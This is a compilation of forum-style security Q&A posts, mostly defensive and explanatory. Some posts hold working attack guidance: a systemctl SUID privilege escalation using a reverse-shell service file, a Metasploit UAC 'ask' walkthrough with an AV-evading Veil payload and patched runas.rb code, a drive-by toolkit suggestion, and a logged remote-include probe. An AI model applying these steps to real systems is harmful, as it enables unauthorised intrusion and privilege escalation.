Is there a way to download the Firefox Phishing and Malware Protection list? I'm building an app that needs to check bad websites and was wondering if there is a way to download the Firefox bad site list directly outside of the browser? The list is described in the Mozilla.org knowledgebase article below and is automatically downloaded by the Firefox browser every 30 minutes.

This question is specifically for the list that Firefox downloads, not the Google Safe Browsing service.

The Mozilla KB article says the following:

  How does Phishing and Malware Protection work in Firefox?

  Phishing and Malware Protection works by checking the sites that you visit against lists of reported phishing, unwanted software and malware sites. These lists are automatically downloaded and updated every 30 minutes or so when the Phishing and Malware Protection features are enabled.

  When you download an application file, Firefox checks the site hosting it against a list of sites known to contain "malware". If the site is found on that list, Firefox blocks the file immediately, otherwise it asks Google’s Safe Browsing service if the software is safe by sending it some of the download’s metadata.

Ref: https://support.mozilla.org/en-US/kb/how-does-phishing-and-malware-protection-work#w_how-does-phishing-and-malware-protection-work-in-firefox

The phishing and malware protection in Firefox is provided with Google Safe Browsing service. This is not a list you can download.

It is instead a database with an SDK on top of it which provides an offline way to determine if a specific URL might be dangerous and which requires in the positive case an additional online verification to eliminate false positives. This additional check is necessary since the blacklisted URL's are not stored in plain but are hashed which might lead to collisions. This hashing is done so that the information can be stored in a memory efficient way and also so that the blacklist cannot be reversed. For more information see the API documentation.

  I'm building an app that needs to check bad websites  ...

Depending on your use case you can use the provided API for free or you have to use the commercial Web Risk API.


Power friendly home router, firewall, IDS/IPS setup? For those that like to manage their own firewall and run IDS/IPS on their home networks, I'm curious - what are you using and is it power friendly?

I used to have a shelf full systems doing various things, but moving a lot had me trim down and I'm currently just using an off the shelf home wifi router, and need something with more power.  Ideally running Linux, would like to run Suricata or Snort on it, maybe in IDS mode.  And with logging to a database - that could offload that to another machine.

Have in the past used a MikroTik as router and firewall, and a Mini-ITX running Snort and some more intelligent filtering than the basic MikroTik box. Don't know what the total power consumption was, but they didn't even get warm.

Easy to setup and they just work:-)


how to use hashcat in python? Basically, I want to crack hashes programatically using hashcat python without having to install hashcat binaries.
Python seem to have a module called hashcat (https://pypi.org/project/hashcat/) but I couldn't find any documentation on the web for how to use it.
Does anyone know how to crack hashes using python?

If you want to use hashcat (or the package you linked to that simply wraps hashcat), you will need to install or build the hashcat binaries.
Otherwise, you would likely need to look for another password-cracking library, or implement it yourself. However, you will not achieve the performance of hashcat by using Python.


TLS handshake encryption In TLS 1.3, handshake messages after Hello and KeyShare--e.g., certificates, signature, finished--are encrypted using an AEAD cipher. Can someone explain what the rationale is? Is it mainly for privacy or integrity, or both?

It doesn't seem to be for integrity because the Finished message should already do that. If it were there for privacy, though, the benefit seems limited. Server identity can still be leaked by other means such as server_name or SNI extension sent by a client. Did I miss something?

The handshake was integrity protected already in previous TLS versions. The early encryption is explicitly done to get more confidentially, especially to encrypt the certificate which is a major source of meta information in deep packet inspection.

  Server identity can still be leaked by other means such as server_name or SNI extension sent by a client.

It was originally planned to encrypt SNI too and was also in the earlier drafts of TLS 1.3 but it did not made it into the final version. But there is a draft for Encrypted SNI and it is implemented in some CDN like Cloudflare already and also in some browsers like Firefox. Note that ESNI is mainly useful when lots of domains are served by the same IP address which is the case mainly for CDN or large hosting providers.

There is also plain DNS as an additional leak of metadata for deep packet inspection - this is addressed by DNS over HTTPS and DNS over TLS.

This does not mean that everything is perfect, but at least less meta information are leaked than before and it gets harder for simple passive DPI to collect user information.


How to get sticky bit like ACL but for specific Linux user only? Sticky bit set for a directory is a mean for "Restricted Deletion" — according to manual:

  For directories, it prevents unprivileged users from removing or renaming a file in the directory unless they own the file or the directory; this is called the restricted deletion flag for the directory, and is commonly found on world-writable directories like /tmp

The thing is it has rather a very wide scope; only root user is excluded from its scope.

Can you suggest a technique to get "restricted deletion" applied to specific user (or a group of users) only?

If everone who needs to remove or rename files can do so via the shell and you don't need arbitrary programs to be able to rename/unlink files then you can combine sudo and the sticky bit for this effect.  Set the sticky bit on the directory.  Set the directory to be owned by a dedicated user.  Grant everyone bar the restricted user the ability to execute rm and mv as the dedicated user via sudo.


Is IPv6 more secure than IPv4? One of my friends is going to implement IPv6 in his university network environment and he told me it is more secure than IPv4. Is IPv6 more secure than IPv4? If so, how is it achieved on the protocol level?

Adding to what Chemical Engineer said, IPv6 does have other advantages too, such as:

Native support for end-to-end encryption: This was a feature that was added much later to IPv4, but comes as a standard for IPv6.
Secure neighbor discovery: The improved protocol (SEND) for neighbor discovery in IPv6 actually confirms the identity of the other party during host discovery, using a cryptographic method.
Larger address space: More time needed to bruteforce through addresses (3.4 × 1038 vs the older 4.3 × 109)

But as in most cases, misconfiguration will only make you more vulnerable.

Scott Hogg wrote a brilliant article a while ago here. It covers these points in much greater detail.


Deterministic password generation using Yubikey I like LastPass but having to have it as a browser plugin means an attacker could steal all my passwords at once. It makes a lot of sense to use a hardware device to store my passwords, like yubikey does. But then losing it would be a problem.

The best way would be to use yubikey to deterministically generate a password for each site given the site's URL, my username and some nonce so I can change passwords for an specific site if I have to.

I know that yubikey has some sort of challenge response but it cannot be backed up like an open gpg curve.

I'd like to know if there are solutions to this problem that does what I said but using RSA with yubikey/others, and what are the possible flaws. For example, my password on each site would be soething like this:

hash(rsa_signature(url, username, nonce))[0,n]

that is, my password would be the first n characters of the hash of the signature of the url, username and nonce concatenated together. The hash would be good to anonimize me so my signature can't be tested against my public key. Such a service would only have to keep track of nonce and n for each url and username.

I've read some posts about this, so please don't mark as duplicate:

Is this idea for a password manager secure? If so, why doesn't anybody use it? - not for hardware devices, so keyloggin is an issue. Not in my scheme.

Password Managers: encrypted database vs hashing strategy - no mention about nonce

The first problem is, that if you loose the device with the nonce, you can't recover anyway. There is no point in having it be deterministic if you add non-deterministic nonce.

Second problem is, that they can login to the site by capturing the password anyway. Just slight modification to the keylogger. It is always the same. That is why challenge response is being used.

IMHO the best solution would be to use challenge response and add two yubikeys or other tokens, one for normal use and one as a backup in case the primary one is lost.


This looks like a generic bot.
They scan the internet and probably randomly found your server, then probed around to see if it could find any gaping security holes.
Nothing to worry about, your server is not at risk if they did not find anything.


Is it possible to create a honeytoken as an image file? I though it would be an interesting idea for my final year project.

A honeypot token in an image form, with a hidden script that will send you information about the user when the file is executed (opened with an image viewer). Main goal is to identify leaks and stolen data.

But the more I research the topic, the more I understand why I couldn't find this option on canarytokens website. For example, when you create a word document (token) and open it with Word - it will open an empty document and send me an email alert with notes about what file was opened and from where. (This doesn't work if I open it with Notepad for example and will dispaly encrypted gibrish)

So from what I undersrood so far I'd have to focus on one specific image viewer program and design the token around it. Is that correct? Does the viewer has to be compromised or have a vulnerability?
First I thought to make a tracking pixel, but that's not a standalone image file.
Then thought to use steganography to encrypt a pixel in an image with the honeypot code, but then you need to decrypt it...

Am I chasing rainbows or is there a way I could approach this problem? Please be kind, I'm a noob.

If you strip out all the extra layers about why you are pursuing this, you are left with a single function: the opening of an image to result in an automated action being performed.
That's not feasible.
It will be highly dependent on the viewer being used and the functions, or vulnerabilities, in that viewer. Just as Word files can have macros that can only be interpreted by Word and not notepad, you have the same problem with images. And there are a hundred different ways of viewing images.
A tracking pixel works because it's not about the image, but about the active link. If you can make the image a link to a resource you can control, then you can track where/when it is opened.


Why is my Windows desktop using a DNS Server on localhost? I recently inherited a corporate network and one of the devices kept having errors connecting to mapped network drives with errors pertaining to the server time being different than the computer's time.  This was not the case, but I found a form where people attributed that to using the wrong DNS server.  I checked the DNS settings on the computer and to my surprise the DNS server was set to the loopback (127.0.0.1).  I didn't realize windows computers had DNS servers installed on them.

First question, is this default windows behavior?

I used telnet to verify that there was actually a process accepting connections on 127.0.0.1:53 and it was.

Second question, should I be concerned about something like this from a malware perspective?

First, no, this is not default Windows behavior.   Windows client operating systems do not ship with a DNS server.   (Windows Server-based operating systems do, but not desktop/client OSes.)

Second, yes, you probably want to find out what service is listening on that port and take a much closer look at it.  Step one is to run netstat -a -b from a command prompt or Powershell.  This will list all of the current open connections and listening ports, and the applications associated with them.  This should allow you to figure out which application or service is listening on UDP 53.

The fact that its running its own DNS server is not necessarily an indication of malware, but it certainly could be malware, so I wouldn't ignore it and would want to investigate it to understand it better.


What are the security implications of enabling anonymous root/sudo access with sshd on a local guest VM? Let's say that on my personal computer, I host a VM I use to do software development. My personal computer is connected to the internet and running Ubuntu 16.04 and my guest is CentOS 7.

I don't want to bother with SSH keys or passwords on that guest but, should I?

If so, are there other options or should I always make my VM as secure as my personal computer?

Thanks

The answer to that depends. Is your VM connected in a host only network? or a virtual subnet that is not connected to the internet? or is the vm also allowed to access the internet (i.e. bridged or nat)?

Having root access to a machine on your network with no password is a huge security risk. If it got exploited somehow, it would give an attacker carte blanche to download all kinds of penetration testing tools and network assessment software (think apt-get install nmap, mysql-client, etc...) and basically roam around your network as if they were sitting right next to you connected to your wifi.

If the vm is connected in host only or is in an isolated subnet then it basically is about as secure as your host os, given you haven't made some ridiculous misconfiguration somewhere. Since, the host would have to be exploited first. But personally, I wouldn't feel safe in this situation either. But then again, I'm the paranoid sort.

Setting up ssh keys isn't that much of a pain. It might take all of 5-10 minutes to accomplish. There are many guides on how to do it easily, like this one from Digital Ocean and, although I highly recommend against it, you can even make keypairs that require no password if you absolutely must. At least that way someone would require the ssh key to connect making it more difficult than just logging in.

But to answer your title question bluntly, if your development vm is connected to the internet with root access, no password and is available a good percentage of the time, the security implications are potentially complete and total compromise of your internal network. I'd really recommend against it.


PKI - Security concerns when changing a certificate hash algorithm Suppose I want to change the hash algorithm used for a certificate signature (ex: SHA1 to SHA2).

Is it better to revoke the previous certificate and issue a new one with expected hash algorithm ? Or is it possible to just push a new CSR with the same To-Be-Signed certificate, but expecting that another algo used ? What about Root or intermediate CA ?

I guess that even if it is feasible, it may have security issues around. Are there best practices concerning this particular case ?

Some CAs will not allow two certificates with the same SubjectDN, so the new one would supersede the old one. If there is no reason to believe the previous certificate had its PrKey compromised, it does not need to be revoked prior to signing and installing the replacement. Speak to the operators of your CA, especially the personnel acting as an RA, since they would be best apprised of their policy and the BCP.


What kind of vulnerability would this exploit? We're currently having our website pentested, and looking through our logs, a cookie we set (our allowCookies cookie) has had the value set to http%3a%2f%2fawebsite.net%2ff517a2bc19bdff66d7c64e8a7ad2f043.txt. That text file contains the string 3ac3bbfe0cb16c0ff90fc0c0fcb21764.

What kind of vulnerability would this exploit?

The intent would have been to exploit a server side include -- your webserver retrieving the URL and incorporating it into the web page.

This vulnerability isn't very common anymore.


Can I use a code signing certificate as a TLS certificate? For example, I develop a software which is used by some customers. They sign the software using their code signing certificates. The software has a client and a server part which are connected to each other using TLS.

The client part works on Windows and I can check if the digital signature is correct or not. Then I can extract the name of signer from the certificate (the public part) and use it for some additional verification.

Can I use the code signing certificates for the server part as TLS certificates and verify the signer name instead of FQDN? I understand it is not typical. Is it secure? For instance, can different company code signing certificates have same CN (the name of signer)? What additional problems might I have here?

If you have full control of the client you can of course setup your own validation routines and ignore the existing ones. In fact you could just reduce the checks to the validation of the public key of the certificate (i.e. pinning). But it is recommended to stick with existing and proven designs and not to reinvent your own validation since these are critical things and easy to mess up.

Still, considering that you nonetheless want to use the normal validation process  as far as possible and only tune it when necessary there might be more obstacles than just that the subject which does not match the target host name: A certificate has different key usages. For code signing you only need the ability to sign something. But for use with TLS you might also need the ability to use the certificate for keyEncipherment, a feature which is not needed for code signing and which might therefore not be as allowed usage of the certificate. Also, TLS server certificates usually have an extended Key Usage which explicitly allows the use for server authentication while code signing certificates don't need this.

Another problem is that by reusing the code signing certificate for the server you probably expose it more to attacks. Theft of code signing certificates and use of these trusted certificates to sign malware is actually not uncommon and having the private key for this certificate on a host which is maybe exposed on the internet just sounds like a bad idea considering how often such hosts gets hacked.


Antivirus recall and precision not accuracy I am studying antiviruses how antiviruses work at my university. This is just the very basics.

He asked in our opinion which we think is better: recall or precision.

Why does my professor say he cares about recall and precision, but does not care about accuracy?

We were talking about false positives and false negatives so it's somehow related to this.

Thank you.

EDIT:
To clarify, the professor said he does not care about accuracy, and then asked us why.

This is because of the severe class imbalance problem in malware detection. Instances of the class of interest, programs humans refer to as “malware”, are far outnumbered by instances of “not malware”. Let’s say that out of the set of all programs 1% are malware and 99% are not. A trivial classifier can achieve 99% accuracy by simply assigning all programs it analyzes to the majority class (the “not malware” class). Clearly this approach is not well suited to the purpose of distinguishing between malware and not-malware. Therefore, in classification problems with severe class imbalance there are alternative metrics that can be used to asses model performance besides simple accuracy, particularly in cases where the minority class is the class of interest, as it is with malware. Precision and recall are examples of such alternative metrics.


What's the best way to block all external proxy IP's which could be used for pivot points or as a DDOS Source? At the simplest form - the question is to block external proxy due to an emergency situation due to which management have forced technical teams to get a solution to block all the external proxy or share external proxy list for blocking.

While, I do understand, there's multi-million cache proxy floating around the inter-intra-net which isn't just feasible to extract out; what are some of the best countermeasures one could take in order to resolve, in-case events turn out to happen in such emergencies as mentioned in the hyperlink above?

Judging from the attacker's perspective, this emergency might just be a DDoS attack via botnets or external proxy's and I have had read caching proxy could serve purpose but I'm more open to more than one solution for this one. Any insight on solutions could really help.

A third-party DDOS protection service like cloudflare.com may be the best place to start for typical web traffic but these won't protect you from everything. None-the-less you've raised an important question and knowing how to protect your own servers by yourself is very important.

The following will give you instructions on how to block the proxy servers but I will also point out that getting the initial list of IP's to block, or allow, can be a bit tricky.

Effectively you want to know how to implement blacklists so you can block all of the attacking IP addresses an organization may be concerned about or see during an attack (in your case the IP list of the proxy servers). That said it's important to understand how blacklists really help you. Blacklists are a great way to slow-down or temporarily block attackers and can work great when triggered appropriately. Even a 30-minute blacklisting of IP's sending malicious traffic can really have a huge impact against any type of automated attack. There are tools like fail2ban (link below) which can easily help you automate your blacklisting based on malicious behavior. Likewise there are tools like ipset (link below) which can be used with iptables to create extremely large black-lists or white-lists than can easily block or allow tens of thousands of IP's with almost no impact on performance and block millions of IP's with only a slight performance on impact.

Effectively deploying ipset and iptables combined with the list of proxies is all you need.

The following are some tips I recommend for configuring your blacklists for long-term use:

Basically because every organization has different needs and different requirements each deployment may be a little bit different but as a general rule of thumb I group who I blacklist into three categories.

1.) IP's that will never have a need to connect to these systems

2.) IP's that are doing really targeted harmful stuff to these systems

3.) IP's that are scanning or doing something less harmful but are still annoying and may include a customers infected system.

and based on these groups (yours may be different especially given your immediate concern) I set a variety of different block times. In this example I use the following block times based on the groups above.

1.) Forever

2.) 24-168 hours

3.) 30-60 minutes with 30 minutes being the most common.

This said I would also take into context what activity you are blacklisting. If an organization has a public website but I see attacks brute-forcing secure-shell or a VPN server (something that is NOT meant to be accessible to the general public) I don't mind blocking that type activity for much longer on that port or protocol. Likewise if I see an IP address really hammering a site with tens of thousands of attacks or repeated activities for days that IP gets blocked for a longer time. From the article you linked to you may want to block things for at least 48 hours to start with and start creating your white-list of good IP's immediately.

There are always risks when blocking traffic for any period of time but I've seen that it's becoming more common to see very large organizations blocking for at least 30 minutes to disrupt the automated attacks and I highly recommend doing this anyway because it gets rid of a lot of the brute-force scanning that ultimately effects all sites.

Note: With the #2 group it is also wise to send an abuse e-mail to the bad actors ISP CC'ing the IP owner and/or domain owner. Frequently this helps resolve the problem after a few days and if not you can always promote that IP to group #1 if you have too.

Finally I would also recommend creating a white-list of your infrastructure and also of your key business partners or critical clients. Occasionally business partners do check the security of their supply chain and you may not want to auto-block these organizations if they decide to take a closer look at what you are doing.

I think it is very wise to actively blacklist bad actors especially since it's a very cost-effective defense but I wouldn't limit your blocking to a single type & time-frame if you can avoid it. That said if you do, 30-minutes seems to be the industry norm right now.

http://www.fail2ban.org/

http://ipset.netfilter.org/

http://ipverse.net/ipblocks/data/countries/

If nothing else this will allow you to get the "hooks" in place to block large numbers of IP's in the future so I'd recommend this no matter how you handle your issue in the short-term. Hope this helps.


Why doesn't my systemctl command work? I'm working on a pentest VM, and have elevated my user privileges to that of a common user. I can see from my enumeration scans that systemctl has a SUID bit set, and has the ownership group listed as my current users group.

I created a python reverse shell, and revshell_root.service to call it using systemctl. I have no write access to /etc/systemd/system or /lib/systemd/system to place the service file, so I'm trying to use the --root= option of systemctl to specify the location of the service file.

systemctl --root=/tmp/serv start revshell_root.service

However, I get the following error:
Failed to start revshell_root.service: Unit revshell_root.service not found.

revshell_root.service contents

[Unit]
Description=root shell
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=elevated_user_name
ExecStart=/usr/bin/env python3 /tmp/revshell_root.py

[Install]
WantedBy=multi-user.target

Just do as follows (using /tmp as an example)

systemctl enable /tmp/revshell_root.service

systemctl start revshell_root.service

SystemCTL's enable allows you to enable/install services in paths other than  the default, so you do not have to specify the full file path when starting it. A good example of this is CVE-2018-19788, which has a similar exploit path for privilege escalation.


Compromised server redirecting only requests from Google I found something very suspicious. When connecting to www.pulseexpress.com following a Google link, the server redirects you to some very dubious site that sends you a .exe file right away:

# host www.pulseexpress.com
www.pulseexpress.com has address 173.236.189.124

# netcat 173.236.189.124 80
GET / HTTP/1.1
Host: www.pulseexpress.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101
Firefox/10.0.2 Iceweasel/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer:
http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CDEQFjAA&url=http%3A%2F%2Fwww.pulseexpress.com%2F&ei=JfhkT_SuGYf40gG85MW_CA&usg=AFQjCNGlomNN7JWxEG7DUzbJyqnVFYkj7w&sig2=i5xsJPgIs1sbD6gpDzJ7OQ

HTTP/1.1 302 Moved Temporarily
Date: Sat, 17 Mar 2012 20:53:40 GMT
Server: Apache
Location: http://www.fdvrerefrr.ezua.com/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html

However, if you enter the address right into your browser, content is served normally:

# netcat 173.236.189.124 80
GET / HTTP/1.1
Host: www.pulseexpress.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101
Firefox/10.0.2 Iceweasel/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive

HTTP/1.1 200 OK
Date: Sat, 17 Mar 2012 20:53:51 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Set-Cookie: e7c55e1c7796b5e5c04e0c55afd862ea=e427sf2eh4t11jno5c4pvaal40;
path=/
Set-Cookie: virtuemart=e427sf2eh4t11jno5c4pvaal40
Set-Cookie: ja_purity_tpl=ja_purity; expires=Thu, 07-Mar-2013 20:53:53
GMT; path=/
Last-Modified: Sat, 17 Mar 2012 20:53:53 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4428
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
[...]

To me this looks like the server has been compromised. Also, the attack seems to have been non-trivial, as the Apache configuration must have been modified in such a way that only some requests are redirected - probably to make it less likely for the owner to notice the problem.

Do people agree with that analysis?

Is this conditional redirection technique something new and hand-crafted, or is this a routine procedure included in standard attack software suites?

The short answer. Yes, this kind of conditional redirection based upon the referer is routine.

Details. I have typically seen this implemented by putting some Javascript on the page to check the document.referrer.  I hadn't previously seen it implemented in the Apache server configuration, but this is a natural evolution of the existing practice, so it is not too surprising to me.

More information. SANS has an excellent article on the subject and on how to protect yourself.  One suggestion is to set up a standing Google search, limited to your site (site:yoursite.com) and listing some keywords that attackers might introduce, and see if it spots anything.  That wouldn't have detected the particular attack you mention, but it would help with related attacks.  See the article for a suggested Google Alert you can use.

Reporting malicious sites. For future reference, you can report malicious/compromised web sites to Google and Microsoft via various online web forms, to protect other users who may try to browse to those sites in the future.  I took the liberty of reporting both sites to Google, but you may want to do the same, too, and report it to Microsoft as well if you use IE.  I can't seem to download the .exe file any longer, but if you saved the .exe, you can also report it online to various anti-virus vendors.

Sample exploit code. For instance, here is an example snippet from a compromised website (real live code, not made up):

<script type="text/javascript">
if(document.referrer.toUpperCase().indexOf("CIALIS") != -1)
{
    document.getElementById('hMenu').innerHTML = "<h1
    align=\"center\">Cialis 10mg</h1> [...] ";
}
</script>

In your case, the attack seems to be done by compromising the Apache configuration or installation rather than by inserting Javascript on the page, but I thought you might find this interesting anyway.


Exactly how is a pseudorandom number generator a security risk? I was recently reading about Diceware, which is essentially a list of words from which several can be picked to form a long passphrase. The website stresses that these words should be picked randomly by throwing physical casino dice, rather than an electronic random number generator:

  You can purchase a set of five casino-grade dice online from Amazon.com or Ebay.com for about $16, but they are overkill for this purpose. Do not use a computer program or electronic dice generator.

I've heard this before: electronics are not able to generate truly random numbers, but only pseudorandom numbers. As far as I understand from Wikipedia, they essentially take an input (like the current time in milliseconds), do some calculations with it to arrive at a bunch of digits, which should finally resemble a random number. If you run the same calculation again with the same input, it should return the same result.

It seems this pseudorandomness is not good enough for encryption, but it is not clear to me why that should be the case. Let's say I wrote a small script that does what was described above (e.g. current time in milliseconds, takes the square root and takes the digit before the decimal point if it's 1-6) to simulate a dice throw. This is a (bad) pseudorandom number generator, but how exactly does this help me to guess the passphrase I create with this method?

The recommendation on the Diceware site is based on the assumption that the user is a non technical person. A dice has a very simple construction, and it's pretty obvious to any person how a dice works. It is much easier for a non technical person to verify that a dice throw will produce a random result, than for them to verify how an electronic PRNG computes a random number. Even for the smartest of technical people, it takes years of study of very specialised form of discrete mathematics to be properly qualified to evaluate the mathematics of a CSPRNG.

The other main problem with electronic PRNG is that most of the popular PRNGs are designed for speed, not for security purpose; a cryptographically secure PRNG is much slower than normal PRNG. They're also quite fickle, it's fairly easy to use a CSPRNG to produce random looking numbers that turns out to barely contains any randomness (examples: Debian's OpenSSL fiasco). A physical dice a lot easier to use correctly than a CSPRNG. It is much easier to teach non-technical user to use physical dice correctly, than it is to teach an experienced programmer to write code that uses CSPRNG correctly or to teach seasoned system administrator to setup a system with the proper environment to run a CSPRNG code.

With that said, in modern system, it is possible to write an pseudo random number generator that's suitable for pass phrase generation purpose. As long as you're aware of the twenty thousand or so caveats and precautions, it can be just as secure as physical dice. Its fickleness and opaqueness though, makes it much easier to recommend a dice to non technical users and most technical users.

  Let's say I wrote a small script that ... current time in milliseconds, takes the square root and takes the digit before the decimal point if it's 1-6) to simulate a dice throw. ... how exactly does this help me to guess the passphrase I create with this method?

If you seed your PRNG using the current date time in milliseconds and the attacker knows or guesses that you generated the passphrase sometime around 2018, then this reduces the range of possible passphrases significantly. Instead of having to search 7666^6 = 77.5 bits of entropy for a 6-words passphrase, knowing just the year that the passphrase was generated allows the attacker to only need to search 31536000000 possible passphrases (the number of milliseconds in a year), which is equivalent to 34.9 bits of entropy (a modern computer can brute force this in a few hours, or minutes with GPU).


Is there a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? As mentioned in the title I'm looking for a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? Maybe there is something like this in Metasploit or on BackTrack?

The Social Engineer Toolkit (SET) has something like what you ask for.

It allows you to create websites with various attack vectors.

Check out the 'Tactical Nuke' option for a widespread test.

This is found on Backtrack and integrates with Metasploit.


How does Diaspora work? I hear all this hype about Diaspora being decentralized, but the only information I can find on their official website and the Wikipedia article is that several people can run Diaspora servers. The main advantages of such decentralization are usually service availability and privacy.

As to the latter asset, the risk I'm worried about is malignant pods, run by data thieves or personal enemies. Is my data encrypted such that only my friends' pods can read it, or is it revealed to other pods as well? Is my data signed, or is there a risk of a malignant pod impersonating me?

When it comes to service availability: in which way does Diaspora ensure service availability? What would happen if a part of the network -- e.g. the diasp.org pod -- went offline?

This page should clear things up: https://github.com/diaspora/diaspora/wiki/Prettygooddiaspora

Short summary of the page:

Diaspora is still a work in progress and they are not really sure how to proceed.

What they would like to have is PGP-encrypted messages everywhere, but run into implementation problems and put that aside for now.

What they now use is SSL protected inter-pod communications, which means that the platform is protected against outsiders but if a pod is compromised there are no more protections.

Also as stated elsewhere right now Diaspora is push-only and no mutual authentication takes place. What they would like to do is implement mutual server to server authentication so that they can also use pull methods.


Virtual Penetration Test Lab - Figuring Out Its Market Size Is there any reliable data available based on which the Global Market Size of Virtual Pen Testing Labs ( or Cyber Ranges ) can be ascertained ?

If NOT , is it possible to calculate it ?

The market for a penetration testing lab is probably a tiny subset of the market for penetration testing services and an even tinier subset of the market for information security. I'd encourage you to do your own investigation by reaching out to potential prospects, but a resource which may be of use is the Delling Institute. See: http://www.dellingadvisory.com/blog/2013/4/29/extrapolating-the-us-penetration-testing-market-size


Is necessary to use salt if I use a complex password? I read that it is important to use a salt together with the password to avoid rainbow table attack. I agree with that, but is there any difference, in terms of security, if

I use password + salt or
I use a complex password?

That is, do I need a salt to avoid rainbow table attacks if I use a complex password?

The salt is what is going to add flavor to each password and make each hash unique. It's not related to how complex your password is.
If I get your password hash file and you have no salt, the process to generate all those hashes was the same and I have only one unknown key to guess. So I can use the pre-compiled (rainbow) table to find a match and know it.
But by adding a salt to each password, each line would become unique. You are adding an extra layer of security and those two users with the password "Password" won't have the same hash.


Is 'Forge' Javascript crypto library secure? I need a client-side crypto library. I've seen https://github.com/digitalbazaar/forge linked many times on stackexchange. Forge seems to be the most complete and well-documented crypto library for JS. However, I have no way to confirm if their implementations of the crypto algorithms are proper and secure. I have not been able to find any third party websites that have audited their source code.

Can anyone confirm this library has been made properly? Has anyone studied their source code?

Javascript as the "main security" in any web-app or site is not a good idea, but its a nice add-on, but it wont add asmuch that it becomes waterproof, so beware (best used with HTTPS ;) )

a Crypto library is never 100% waterproof, i.e., take an encryption, or hashing method called HashA (fictional), in 3, maybe 4 years, an update will be released, lets call that HashB, the reason is that people will study, and try to either crack, or find a weakness in algorithems and codes, so in 4 years, HashA won't be as safe, so poeple tend to bend towards HashB.

To awnser your question, i asked around a little bit for you, we dont use alot of security in JS, but we still prefer to, since its that "little bit extra" we like to do.

the "Forge" JS Crypto Library was first made around late 2009, and went live somewhere in 2010 if i'm right, and has alot of inbuild functions like hashing, storage of passwords, encryption, TLS implention and more.

Since its so a bit "aged", people would sometimes say "better not", but i use it too, and didnt encounter any problems yet, i'd say this is safe, atleast for now, but dont forget to update it when they are released!

here is a link to the main webpage of Froge: http://digitalbazaar.com/forge/


Custom Metasploit payload with UAC bypass The machine I am attacking has anti-virus installed.

I have managed to use Veil Framework in order to create an initial reverse shell payload that is undetected by the AV. However, UAC is enabled on the Windows 7 target.

I am trying to use Metasploit's exploit/windows/local/ask in order to prompt the user, in the hope that they click yes to allow the payload to create another reverse shell with elevated privileges.

However, the default metasploit payloads are detected by the AV so I have used the payload/generic/custom to set PAYLOADFILE to my Veil generated .exe. However, I get the following error message when running the exploit:

msf exploit(ask) > exploit

[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[-] Exploit failed: NoMethodError undefined method `length' for nil:NilClass

I realise that there are other ways to bypass UAC:

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection

Although as part of this pen testing experiment I want the end user to allow the payload manually.

Is my syntax correct for the exploit:

msf exploit(ask) > show options

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    4                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)

Payload options (generic/custom):

   Name         Current Setting                                      Required  Description
   ----         ---------------                                      --------  -----------
   PAYLOADFILE  /usr/share/veil-output/compiled/payload_0907_cs.exe  no        The file to read the payload from
   PAYLOADSTR                                                        no        The string to use as a payload

Exploit target:

   Id  Name
   --  ----
   0   Windows

I've Googled the error but it appeared to return nothing relevant. I am going about this the right way?

Ran into the same issue when reproducing.

UPDATE:

When using the windows/local/ask exploit, it seems you do not need to set a payload with it. In the windows/local/ask exploit you can set a reference to the undetectabletrojan.exe, which will then be executed with elevated privileges through UAC. However, as pointed out by @SilverlightFox, the ask exploit always uses a self-generated payload which is easily detected by AV. To counter this, some changes in the /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb are required.

Code changes

Open /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
Edit the def shell_execute_exe method so that it looks as follows (pastebin):

def shell_execute_exe(filename = nil, path = nil)
    exe_payload = generate_payload_exe
    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
    payload_path = path || get_env('TEMP')
    cmd_location = "#{payload_path}\#{payload_filename}"
    if filename == nil
     print_status("Uploading payload to the filesystem...")
     write_file(cmd_location, exe_payload)
    else
     print_status("Using #{payload_filename}...")
    end
    command, args = cmd_location, nil
    shell_exec(command, args)
  end

Reload msf

Use the exploit

The exact steps are:

Generate an undetectable reverse shell exe (let's call it undetectabletrojan.exe)
Get a meterpreter session with no privileges
Upload undectabletrojan.exe via the non-privileged session (e.g. to c:\tmp)
Background this unprivileged session and set up a new exploit (windows/local/ask)
Set the following options of the windows/local/ask exploit:

set filename undectabletrojan.exe
set path c:\tmp

Even though you did not set a payload, you SHOULD set the LPORT and LHOST options, apparently the ask exploit always uses a windows reverse_tcp payload..
exploit
You will have a second session, privileged.

The fix is to modify /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
.

At line 23 it mentions  print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
